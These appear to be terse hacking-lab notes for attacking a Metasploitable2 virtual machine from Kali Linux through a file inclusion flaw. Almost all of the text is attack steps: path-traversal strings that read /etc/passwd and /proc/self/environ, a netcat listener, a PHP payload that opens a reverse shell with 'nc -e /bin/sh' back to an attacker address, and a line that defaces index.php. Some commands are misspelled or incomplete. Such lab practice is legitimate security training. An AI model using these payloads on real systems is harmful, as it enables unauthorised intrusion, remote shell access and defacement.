→ Turn on the Metaspolitable2 and open its IP on Kali’s Browser
→ File Inclusion
→ ../../../../../etc/psswd
→ ../../../../../proc/self/environ
## listener verbose port
nc -lvp 1234
<?php passthru( "nc -e /bin/sh <ip> 1234"); ?>
"<?php echo 'Hacked!' ; ?>" > index.php